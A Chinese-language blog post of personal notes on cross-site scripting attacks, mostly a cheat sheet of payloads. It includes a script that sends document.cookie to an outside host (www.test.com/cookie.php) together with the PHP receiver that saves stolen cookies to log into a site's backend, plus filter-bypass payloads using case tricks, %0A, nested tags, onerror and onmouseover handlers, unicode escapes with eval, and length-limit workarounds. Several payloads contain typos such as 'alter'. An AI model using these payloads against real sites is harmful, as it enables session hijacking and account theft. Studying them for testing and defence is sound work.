XSS攻击

XSS攻击

点击查看代码
<script>alert('xss')</script>
<script>alert(document.cookie)</script>  #显示出cookie信息
<script>document.location='http://www.test.com/cookie.php?cookie='+document.cookie;</script>  需要进行URL编码
# cookie.php   反射型XSS获取cookie,登录后台
<?php
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt",$cookie);

存储型xss漏洞,数据写入数据库中,利用img标签,如果出现损坏的小图标,就说明存在存储型xss漏洞
<img src=1 onerror = alter'1'> 如果前面的src=1没有正常执行,就会调用onerror = '111'

  • 无法使用<>:以下三行代码可在<>里面写
    onclick=alter(1)// 点击后触发
    Onmousemove 当鼠标移动就触发 Onmousemove=alter(1)
    Onload 当页面加载完成后触发
  • 将on、script等字符分割:
    <a href=javascript:alert(1)>Clickme</a> 需要先闭合<>、""这些
  • 将on、script等以及href字符分割:更改大小写看是否可行
  • 过滤比较多:可以使用unicode编码形式绕过
    基于DOM的XSS
    基于DOM文档对象模型漏洞的一种攻击方式,不依赖于服务器端的数据,而从客户端获得DOM中的数据并在本地执行。
    通过JS脚本对文档对象进行编辑从而修改页面中的元素。
    url+#javascript:alert(1) javascript伪协议
    判断是否存在DOM型XSS的关键是观察我们的HTML源代码中是否存在相关的js函数
    location.hash
    location.href
    innerHTML
    document.write
    eval("var x = "'+location.hash + ""');
    localStorge、SessionStorge、Cookies

利用与绕过

  • 大小写绕过

这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。

  • %0A绕过

    换行符没有过滤,使用%0A进行绕过

http://www.zixem.altervista.org/XSS/3.php?name=zxm%0A<script>alert("1337");</script>

  • 利用过滤后返回语句再次构成攻击语句来绕过

我们直接敲入script标签发现返回的网页代码中script标签被去除了,但其余的内容并没有改变。
这个利用原理在于只过滤了一个script标签。例如:scscriptript

  • 并不是只有script标签才可以插入代码

    例如这里我们用标签做一个示范。

    我们利用如下方式:
    `

    [http://192.168.1.102/xss/example4.php?name=
    src='w.123' onerror='alert("hey!")'>
    `
    就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。

    以下列举几个常用的可插入代码的标签。

    <a onmousemove=’do something here’> 
    

    当用户鼠标移动时即可运行代码

    <div onmouseover=‘do something here’> 
    

    当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)

    类似的还有onclick,这个要点击后才能运行代码,条件相对苛刻,就不再详述。

    编码脚本代码绕过关键字过滤

    有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

    例如alert(1)编码过后就是

    \u0061\u006c\u0065\u0072\u0074(1)
    
    eval()函数:可计算字符串,并执行其中的javaScript代码
    <script>eval("alert('xss')");</script>
    可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本
    
    
  • 主动闭合标签实现注入代码

    这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,javascript是一个弱类型的编程语言,变量的类型往往并没有明确定义。

  • 绕过长度限制

    假设下面代码存在一个XSS漏洞:

<input type = text value='$var'/>

服务器端对输出变量$var做了严格的长度限制,那么攻击者可能会这样构造XSS:

$var='><script>alter(/xss/)</script>'

希望达到的输出效果是:

<input type=text value=''><script>alter(/xss/)</script>'/>

假设长度限制为20个字节,则这段xss会被切割为

$var输出为:'><script>alter(/xss

$var='onclick =alter(1)//

     -  可用注释符绕过长度限制   ><!-- -->
posted @ 2022-01-16 16:46  开心消消乐a  阅读(123)  评论(0编辑  收藏  举报